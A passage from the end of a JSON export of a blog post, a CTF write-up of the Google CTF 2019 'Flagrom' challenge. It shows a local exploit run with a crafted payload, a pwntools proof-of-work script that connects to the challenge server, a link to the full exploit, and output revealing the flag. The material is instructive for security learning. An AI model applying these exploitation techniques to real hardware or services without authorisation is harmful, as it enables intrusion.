perform the conversion.<\/div>\n<p><span class=\"w-code\">$ <span class=\"w-cli\">{ echo; wc -c hack.bin; cat hack.bin; } | LD_PRELOAD=..\/solve\/exit.so .\/flagrom<\/span><br \/>\nWhat&#8217;s a printable string less than 64 bytes that starts with flagrom- whose md5 starts with 01c5a4?<br \/>\nThat looks wrong. Good bye.<br \/>\nWrong answer. Good bye.<br \/>\nWhat&#8217;s the length of your payload?<br \/>\nExecuting firmware&#8230;<br \/>\n[FW] Writing flag to SecureEEPROM&#8230;&#8230;&#8230;&#8230;&#8230;DONE<br \/>\n[FW] Securing SecureEEPROM flag banks&#8230;&#8230;&#8230;..DONE<br \/>\n[FW] Removing flag from 8051 memory&#8230;&#8230;&#8230;&#8230;.DONE<br \/>\n[FW] Writing welcome message to SecureEEPROM&#8230;.DONE<br \/>\nExecuting usercode&#8230;<br \/>\nstart user program<br \/>\nHello there.<br \/>\n<span class=\"w-grepped\">On the real server the flag is loaded here.<\/span><br \/>\nClean exit.<br \/>\n<\/span><\/p>\n<div style=\"text-align: justify;\">The code works just fine on the local instance and we successfully get a fake flag.<\/div>\n<div style=\"text-align: justify;\">\n<h3>Exploiting the remote service<\/h3>\n<\/div>\n<div style=\"text-align: justify;\">\n<h4>Completing the proof of work<\/h4>\n<\/div>\n<div style=\"text-align: justify;\">To exploit the SecureEEPROM remotely, the final step is to perform the proof of work. Nothing complex in it, just brute force until you find a valid proof. Here is a Python code doing that:<\/div>\n<p><span class=\"w-code\"><span class=\"sc5\">from<\/span> <span class=\"sc11\">pwn<\/span> <span class=\"sc5\">import<\/span> <span class=\"sc10\">*<\/span><span class=\"sc0\"><br \/>\n<\/span><span class=\"sc11\">io<\/span> <span class=\"sc10\">=<\/span> <span class=\"sc11\">remote<\/span><span class=\"sc10\">(<\/span><span class=\"sc4\">&#8216;flagrom.ctfcompetition.com&#8217;<\/span><span class=\"sc10\">,<\/span> <span class=\"sc2\">1337<\/span><span class=\"sc10\">)<\/span><span class=\"sc0\"><br \/>\n<\/span><span class=\"sc11\">ask<\/span> <span class=\"sc10\">=<\/span> <span class=\"sc11\">io<\/span><span class=\"sc10\">.<\/span><span class=\"sc11\">recvuntil<\/span><span class=\"sc10\">(<\/span><span class=\"sc4\">&#8216;\\n&#8217;<\/span><span class=\"sc10\">).<\/span><span class=\"sc11\">split<\/span><span class=\"sc10\">()<\/span><span class=\"sc0\"><br \/>\n<\/span><span class=\"sc11\">start<\/span><span class=\"sc10\">,<\/span> <span class=\"sc11\">md5<\/span> <span class=\"sc10\">=<\/span> <span class=\"sc11\">ask<\/span><span class=\"sc10\">[<\/span><span class=\"sc2\">11<\/span><span class=\"sc10\">],<\/span> <span class=\"sc11\">ask<\/span><span class=\"sc10\">[<\/span><span class=\"sc2\">16<\/span><span class=\"sc10\">][:-<\/span><span class=\"sc2\">1<\/span><span class=\"sc10\">]<\/span><span class=\"sc0\"><br \/>\n<\/span><span class=\"sc5\">print<\/span> <span class=\"sc3\">&#8220;Proof of work with:&#8221;<\/span><span class=\"sc0\"><br \/>\n<\/span><span class=\"sc5\">print<\/span> <span class=\"sc3\">&#8221; start = %s&#8221;<\/span> <span class=\"sc10\">%<\/span> <span class=\"sc11\">start<\/span><span class=\"sc0\"><br \/>\n<\/span><span class=\"sc5\">print<\/span> <span class=\"sc3\">&#8221; md5 = %s&#8221;<\/span> <span class=\"sc10\">%<\/span> <span class=\"sc11\">md5<\/span><span class=\"sc0\"><br \/>\n<\/span><span class=\"sc5\">while<\/span> <span class=\"sc5\">True<\/span><span class=\"sc10\">:<\/span><span class=\"sc0\"><br \/>\n<\/span><span class=\"sc11\">r<\/span> <span class=\"sc10\">=<\/span> <span class=\"sc11\">random<\/span><span class=\"sc10\">.<\/span><span class=\"sc11\">random<\/span><span class=\"sc10\">()<\/span><span class=\"sc0\"><br \/>\n<\/span><span class=\"sc11\">s<\/span> <span class=\"sc10\">=<\/span> <span class=\"sc11\">start<\/span> <span class=\"sc10\">+<\/span> <span class=\"sc11\">str<\/span><span class=\"sc10\">(<\/span><span class=\"sc11\">r<\/span><span class=\"sc10\">)<\/span><span class=\"sc0\"><br \/>\n<\/span><span class=\"sc5\">if<\/span> <span class=\"sc11\">hashlib<\/span><span class=\"sc10\">.<\/span><span class=\"sc11\">md5<\/span><span class=\"sc10\">(<\/span><span class=\"sc11\">s<\/span><span class=\"sc10\">).<\/span><span class=\"sc11\">hexdigest<\/span><span class=\"sc10\">().<\/span><span class=\"sc11\">startswith<\/span><span class=\"sc10\">(<\/span><span class=\"sc11\">md5<\/span><span class=\"sc10\">):<\/span><span class=\"sc0\"><br \/>\n<\/span><span class=\"sc5\">print<\/span> <span class=\"sc3\">&#8220;Found %s&#8221;<\/span> <span class=\"sc10\">%<\/span> <span class=\"sc11\">s<\/span><span class=\"sc0\"><br \/>\n<\/span><span class=\"sc5\">break<\/span><span class=\"sc0\"><br \/>\n<\/span><\/span><\/p>\n<div style=\"text-align: justify;\"><\/div>\n<div style=\"text-align: justify;\">\n<h4>Retrieving the flag<\/h4>\n<\/div>\n<div style=\"text-align: justify;\">A complete exploit can be downloaded <a href=\"https:\/\/github.com\/CERT-W\/securityinsider\/blob\/master\/Google-CTF-Quals2019-Flagrom-Challenge-Writeup\/solve\/exploit.py\">here<\/a>. It handles the compilation of the user code, performs the proof of work and run the user code.<\/div>\n<p><span class=\"w-code\">$ <span class=\"w-cli\">python exploit.py remote hack.c<\/span><br \/>\n[+] Starting local process &#8216;.\/flagrom&#8217;: pid 7333<br \/>\nSending payload<br \/>\nReceived data<br \/>\n&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br \/>\n[+] Receiving all data: Done (467B)<br \/>\n[*] Process &#8216;.\/flagrom&#8217; stopped with exit code 0 (pid 7333)<br \/>\nExecuting firmware&#8230;<br \/>\n[FW] Writing flag to SecureEEPROM&#8230;&#8230;&#8230;&#8230;&#8230;DONE<br \/>\n[FW] Securing SecureEEPROM flag banks&#8230;&#8230;&#8230;..DONE<br \/>\n[FW] Removing flag from 8051 memory&#8230;&#8230;&#8230;&#8230;.DONE<br \/>\n[FW] Writing welcome message to SecureEEPROM&#8230;.DONE<br \/>\nExecuting usercode&#8230;<br \/>\nstart user program<br \/>\nHello there<br \/>\n<span class=\"w-grepped\">CTF{flagrom-and-on-and-on}<\/span><br \/>\nClean exit.<\/span><\/p>\n","protected":false},"excerpt":{"rendered":"<p>On June 22 and 23, 2019, Wavestone CTF team YoloSw4g\u00a0took part in the qualifications for the Google CTF Finals. During this CTF, Google has provided many unusual challenges. Among them is Flagrom, a challenge halfway between hardware hacking and software&#8230;<\/p>\n","protected":false},"author":1422,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"page-templates\/tmpl-one.php","format":"standard","meta":{"_acf_changed":false,"footnotes":""},"categories":[3908,36],"tags":[3909,3893,509,3892],"coauthors":[3911],"class_list":["post-15578","post","type-post","status-publish","format-standard","hentry","category-challenges","category-cybersecurity-digital-trust","tag-challenge-concours","tag-ctf","tag-google","tag-write-up"],"acf":[],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.0 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>GoogleCTF 2019 Quals \u2013 Flagrom Challenge Writeup - RiskInsight<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/www.riskinsight-wavestone.com\/2019\/07\/googlectf-2019-quals-flagrom-challenge-writeup\/\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"GoogleCTF 2019 Quals \u2013 Flagrom Challenge Writeup - RiskInsight\" \/>\n<meta property=\"og:description\" content=\"On June 22 and 23, 2019, Wavestone CTF team YoloSw4g\u00a0took part in the qualifications for the Google CTF Finals. During this CTF, Google has provided many unusual challenges. Among them is Flagrom, a challenge halfway between hardware hacking and software...\" \/>\n<meta property=\"og:url\" content=\"https:\/\/www.riskinsight-wavestone.com\/2019\/07\/googlectf-2019-quals-flagrom-challenge-writeup\/\" \/>\n<meta property=\"og:site_name\" content=\"RiskInsight\" \/>\n<meta property=\"article:published_time\" content=\"2019-07-23T17:14:02+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2021-07-07T15:34:01+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/1.bp.blogspot.com\/-NRoX8x8cCbs\/XTb162VokSI\/AAAAAAAAApo\/XhNoXYqweqsqJlUhExWrSP4_ZQIedGCjQCLcBGAs\/s640\/header.jpg\" \/>\n<meta name=\"author\" content=\"Gauthier Sebaux\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"Gauthier Sebaux\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"9 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\/\/www.riskinsight-wavestone.com\/2019\/07\/googlectf-2019-quals-flagrom-challenge-writeup\/#article\",\"isPartOf\":{\"@id\":\"https:\/\/www.riskinsight-wavestone.com\/2019\/07\/googlectf-2019-quals-flagrom-challenge-writeup\/\"},\"author\":{\"name\":\"Gauthier Sebaux\",\"@id\":\"https:\/\/www.riskinsight-wavestone.com\/en\/#\/schema\/person\/e473726b62f79769dc973f9e444c902c\"},\"headline\":\"GoogleCTF 2019 Quals \u2013 Flagrom Challenge Writeup\",\"datePublished\":\"2019-07-23T17:14:02+00:00\",\"dateModified\":\"2021-07-07T15:34:01+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\/\/www.riskinsight-wavestone.com\/2019\/07\/googlectf-2019-quals-flagrom-challenge-writeup\/\"},\"wordCount\":1886,\"publisher\":{\"@id\":\"https:\/\/www.riskinsight-wavestone.com\/en\/#organization\"},\"image\":{\"@id\":\"https:\/\/www.riskinsight-wavestone.com\/2019\/07\/googlectf-2019-quals-flagrom-challenge-writeup\/#primaryimage\"},\"thumbnailUrl\":\"https:\/\/1.bp.blogspot.com\/-NRoX8x8cCbs\/XTb162VokSI\/AAAAAAAAApo\/XhNoXYqweqsqJlUhExWrSP4_ZQIedGCjQCLcBGAs\/s640\/header.jpg\",\"keywords\":[\"challenge; concours;\",\"ctf\",\"Google\",\"write up\"],\"articleSection\":[\"Challenges\",\"Cybersecurity &amp; Digital Trust\"],\"inLanguage\":\"en-US\"},{\"@type\":\"WebPage\",\"@id\":\"https:\/\/www.riskinsight-wavestone.com\/2019\/07\/googlectf-2019-quals-flagrom-challenge-writeup\/\",\"url\":\"https:\/\/www.riskinsight-wavestone.com\/2019\/07\/googlectf-2019-quals-flagrom-challenge-writeup\/\",\"name\":\"GoogleCTF 2019 Quals \u2013 Flagrom Challenge Writeup - RiskInsight\",\"isPartOf\":{\"@id\":\"https:\/\/www.riskinsight-wavestone.com\/en\/#website\"},\"primaryImageOfPage\":{\"@id\":\"https:\/\/www.riskinsight-wavestone.com\/2019\/07\/googlectf-2019-quals-flagrom-challenge-writeup\/#primaryimage\"},\"image\":{\"@id\":\"https:\/\/www.riskinsight-wavestone.com\/2019\/07\/googlectf-2019-quals-flagrom-challenge-writeup\/#primaryimage\"},\"thumbnailUrl\":\"https:\/\/1.bp.blogspot.com\/-NRoX8x8cCbs\/XTb162VokSI\/AAAAAAAAApo\/XhNoXYqweqsqJlUhExWrSP4_ZQIedGCjQCLcBGAs\/s640\/header.jpg\",\"datePublished\":\"2019-07-23T17:14:02+00:00\",\"dateModified\":\"2021-07-07T15:34:01+00:00\",\"breadcrumb\":{\"@id\":\"https:\/\/www.riskinsight-wavestone.com\/2019\/07\/googlectf-2019-quals-flagrom-challenge-writeup\/#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\/\/www.riskinsight-wavestone.com\/2019\/07\/googlectf-2019-quals-flagrom-challenge-writeup\/\"]}]},{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\/\/www.riskinsight-wavestone.com\/2019\/07\/googlectf-2019-quals-flagrom-challenge-writeup\/#primaryimage\",\"url\":\"https:\/\/1.bp.blogspot.com\/-NRoX8x8cCbs\/XTb162VokSI\/AAAAAAAAApo\/XhNoXYqweqsqJlUhExWrSP4_ZQIedGCjQCLcBGAs\/s640\/header.jpg\",\"contentUrl\":\"https:\/\/1.bp.blogspot.com\/-NRoX8x8cCbs\/XTb162VokSI\/AAAAAAAAApo\/XhNoXYqweqsqJlUhExWrSP4_ZQIedGCjQCLcBGAs\/s640\/header.jpg\"},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\/\/www.riskinsight-wavestone.com\/2019\/07\/googlectf-2019-quals-flagrom-challenge-writeup\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Accueil\",\"item\":\"https:\/\/www.riskinsight-wavestone.com\/en\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"GoogleCTF 2019 Quals \u2013 Flagrom Challenge Writeup\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\/\/www.riskinsight-wavestone.com\/en\/#website\",\"url\":\"https:\/\/www.riskinsight-wavestone.com\/en\/\",\"name\":\"RiskInsight\",\"description\":\"The cybersecurity &amp; digital trust blog by Wavestone&#039;s consultants\",\"publisher\":{\"@id\":\"https:\/\/www.riskinsight-wavestone.com\/en\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\/\/www.riskinsight-wavestone.com\/en\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\/\/www.riskinsight-wavestone.com\/en\/#organization\",\"name\":\"Wavestone\",\"url\":\"https:\/\/www.riskinsight-wavestone.com\/en\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\/\/www.riskinsight-wavestone.com\/en\/#\/schema\/logo\/image\/\",\"url\":\"https:\/\/www.riskinsight-wavestone.com\/wp-content\/uploads\/2021\/08\/Monogramme\u2013W\u2013NEGA-RGB-50x50-1.png\",\"contentUrl\":\"https:\/\/www.riskinsight-wavestone.com\/wp-content\/uploads\/2021\/08\/Monogramme\u2013W\u2013NEGA-RGB-50x50-1.png\",\"width\":50,\"height\":50,\"caption\":\"Wavestone\"},\"image\":{\"@id\":\"https:\/\/www.riskinsight-wavestone.com\/en\/#\/schema\/logo\/image\/\"}},{\"@type\":\"Person\",\"@id\":\"https:\/\/www.riskinsight-wavestone.com\/en\/#\/schema\/person\/e473726b62f79769dc973f9e444c902c\",\"name\":\"Gauthier Sebaux\",\"url\":\"https:\/\/www.riskinsight-wavestone.com\/en\/author\/gauthier-sebaux\/\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"GoogleCTF 2019 Quals \u2013 Flagrom Challenge Writeup - RiskInsight","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/www.riskinsight-wavestone.com\/2019\/07\/googlectf-2019-quals-flagrom-challenge-writeup\/","og_locale":"en_US","og_type":"article","og_title":"GoogleCTF 2019 Quals \u2013 Flagrom Challenge Writeup - RiskInsight","og_description":"On June 22 and 23, 2019, Wavestone CTF team YoloSw4g\u00a0took part in the qualifications for the Google CTF Finals. During this CTF, Google has provided many unusual challenges. Among them is Flagrom, a challenge halfway between hardware hacking and software...","og_url":"https:\/\/www.riskinsight-wavestone.com\/2019\/07\/googlectf-2019-quals-flagrom-challenge-writeup\/","og_site_name":"RiskInsight","article_published_time":"2019-07-23T17:14:02+00:00","article_modified_time":"2021-07-07T15:34:01+00:00","og_image":[{"url":"https:\/\/1.bp.blogspot.com\/-NRoX8x8cCbs\/XTb162VokSI\/AAAAAAAAApo\/XhNoXYqweqsqJlUhExWrSP4_ZQIedGCjQCLcBGAs\/s640\/header.jpg","type":"","width":"","height":""}],"author":"Gauthier Sebaux","twitter_misc":{"Written by":"Gauthier Sebaux","Est. reading time":"9 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/www.riskinsight-wavestone.com\/2019\/07\/googlectf-2019-quals-flagrom-challenge-writeup\/#article","isPartOf":{"@id":"https:\/\/www.riskinsight-wavestone.com\/2019\/07\/googlectf-2019-quals-flagrom-challenge-writeup\/"},"author":{"name":"Gauthier Sebaux","@id":"https:\/\/www.riskinsight-wavestone.com\/en\/#\/schema\/person\/e473726b62f79769dc973f9e444c902c"},"headline":"GoogleCTF 2019 Quals \u2013 Flagrom Challenge Writeup","datePublished":"2019-07-23T17:14:02+00:00","dateModified":"2021-07-07T15:34:01+00:00","mainEntityOfPage":{"@id":"https:\/\/www.riskinsight-wavestone.com\/2019\/07\/googlectf-2019-quals-flagrom-challenge-writeup\/"},"wordCount":1886,"publisher":{"@id":"https:\/\/www.riskinsight-wavestone.com\/en\/#organization"},"image":{"@id":"https:\/\/www.riskinsight-wavestone.com\/2019\/07\/googlectf-2019-quals-flagrom-challenge-writeup\/#primaryimage"},"thumbnailUrl":"https:\/\/1.bp.blogspot.com\/-NRoX8x8cCbs\/XTb162VokSI\/AAAAAAAAApo\/XhNoXYqweqsqJlUhExWrSP4_ZQIedGCjQCLcBGAs\/s640\/header.jpg","keywords":["challenge; concours;","ctf","Google","write up"],"articleSection":["Challenges","Cybersecurity &amp; Digital Trust"],"inLanguage":"en-US"},{"@type":"WebPage","@id":"https:\/\/www.riskinsight-wavestone.com\/2019\/07\/googlectf-2019-quals-flagrom-challenge-writeup\/","url":"https:\/\/www.riskinsight-wavestone.com\/2019\/07\/googlectf-2019-quals-flagrom-challenge-writeup\/","name":"GoogleCTF 2019 Quals \u2013 Flagrom Challenge Writeup - RiskInsight","isPartOf":{"@id":"https:\/\/www.riskinsight-wavestone.com\/en\/#website"},"primaryImageOfPage":{"@id":"https:\/\/www.riskinsight-wavestone.com\/2019\/07\/googlectf-2019-quals-flagrom-challenge-writeup\/#primaryimage"},"image":{"@id":"https:\/\/www.riskinsight-wavestone.com\/2019\/07\/googlectf-2019-quals-flagrom-challenge-writeup\/#primaryimage"},"thumbnailUrl":"https:\/\/1.bp.blogspot.com\/-NRoX8x8cCbs\/XTb162VokSI\/AAAAAAAAApo\/XhNoXYqweqsqJlUhExWrSP4_ZQIedGCjQCLcBGAs\/s640\/header.jpg","datePublished":"2019-07-23T17:14:02+00:00","dateModified":"2021-07-07T15:34:01+00:00","breadcrumb":{"@id":"https:\/\/www.riskinsight-wavestone.com\/2019\/07\/googlectf-2019-quals-flagrom-challenge-writeup\/#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/www.riskinsight-wavestone.com\/2019\/07\/googlectf-2019-quals-flagrom-challenge-writeup\/"]}]},{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/www.riskinsight-wavestone.com\/2019\/07\/googlectf-2019-quals-flagrom-challenge-writeup\/#primaryimage","url":"https:\/\/1.bp.blogspot.com\/-NRoX8x8cCbs\/XTb162VokSI\/AAAAAAAAApo\/XhNoXYqweqsqJlUhExWrSP4_ZQIedGCjQCLcBGAs\/s640\/header.jpg","contentUrl":"https:\/\/1.bp.blogspot.com\/-NRoX8x8cCbs\/XTb162VokSI\/AAAAAAAAApo\/XhNoXYqweqsqJlUhExWrSP4_ZQIedGCjQCLcBGAs\/s640\/header.jpg"},{"@type":"BreadcrumbList","@id":"https:\/\/www.riskinsight-wavestone.com\/2019\/07\/googlectf-2019-quals-flagrom-challenge-writeup\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Accueil","item":"https:\/\/www.riskinsight-wavestone.com\/en\/"},{"@type":"ListItem","position":2,"name":"GoogleCTF 2019 Quals \u2013 Flagrom Challenge Writeup"}]},{"@type":"WebSite","@id":"https:\/\/www.riskinsight-wavestone.com\/en\/#website","url":"https:\/\/www.riskinsight-wavestone.com\/en\/","name":"RiskInsight","description":"The cybersecurity &amp; digital trust blog by Wavestone&#039;s consultants","publisher":{"@id":"https:\/\/www.riskinsight-wavestone.com\/en\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/www.riskinsight-wavestone.com\/en\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/www.riskinsight-wavestone.com\/en\/#organization","name":"Wavestone","url":"https:\/\/www.riskinsight-wavestone.com\/en\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/www.riskinsight-wavestone.com\/en\/#\/schema\/logo\/image\/","url":"https:\/\/www.riskinsight-wavestone.com\/wp-content\/uploads\/2021\/08\/Monogramme\u2013W\u2013NEGA-RGB-50x50-1.png","contentUrl":"https:\/\/www.riskinsight-wavestone.com\/wp-content\/uploads\/2021\/08\/Monogramme\u2013W\u2013NEGA-RGB-50x50-1.png","width":50,"height":50,"caption":"Wavestone"},"image":{"@id":"https:\/\/www.riskinsight-wavestone.com\/en\/#\/schema\/logo\/image\/"}},{"@type":"Person","@id":"https:\/\/www.riskinsight-wavestone.com\/en\/#\/schema\/person\/e473726b62f79769dc973f9e444c902c","name":"Gauthier Sebaux","url":"https:\/\/www.riskinsight-wavestone.com\/en\/author\/gauthier-sebaux\/"}]}},"_links":{"self":[{"href":"https:\/\/www.riskinsight-wavestone.com\/en\/wp-json\/wp\/v2\/posts\/15578","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.riskinsight-wavestone.com\/en\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.riskinsight-wavestone.com\/en\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.riskinsight-wavestone.com\/en\/wp-json\/wp\/v2\/users\/1422"}],"replies":[{"embeddable":true,"href":"https:\/\/www.riskinsight-wavestone.com\/en\/wp-json\/wp\/v2\/comments?post=15578"}],"version-history":[{"count":7,"href":"https:\/\/www.riskinsight-wavestone.com\/en\/wp-json\/wp\/v2\/posts\/15578\/revisions"}],"predecessor-version":[{"id":16249,"href":"https:\/\/www.riskinsight-wavestone.com\/en\/wp-json\/wp\/v2\/posts\/15578\/revisions\/16249"}],"wp:attachment":[{"href":"https:\/\/www.riskinsight-wavestone.com\/en\/wp-json\/wp\/v2\/media?parent=15578"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.riskinsight-wavestone.com\/en\/wp-json\/wp\/v2\/categories?post=15578"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.riskinsight-wavestone.com\/en\/wp-json\/wp\/v2\/tags?post=15578"},{"taxonomy":"author","embeddable":true,"href":"https:\/\/www.riskinsight-wavestone.com\/en\/wp-json\/wp\/v2\/coauthors?post=15578"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}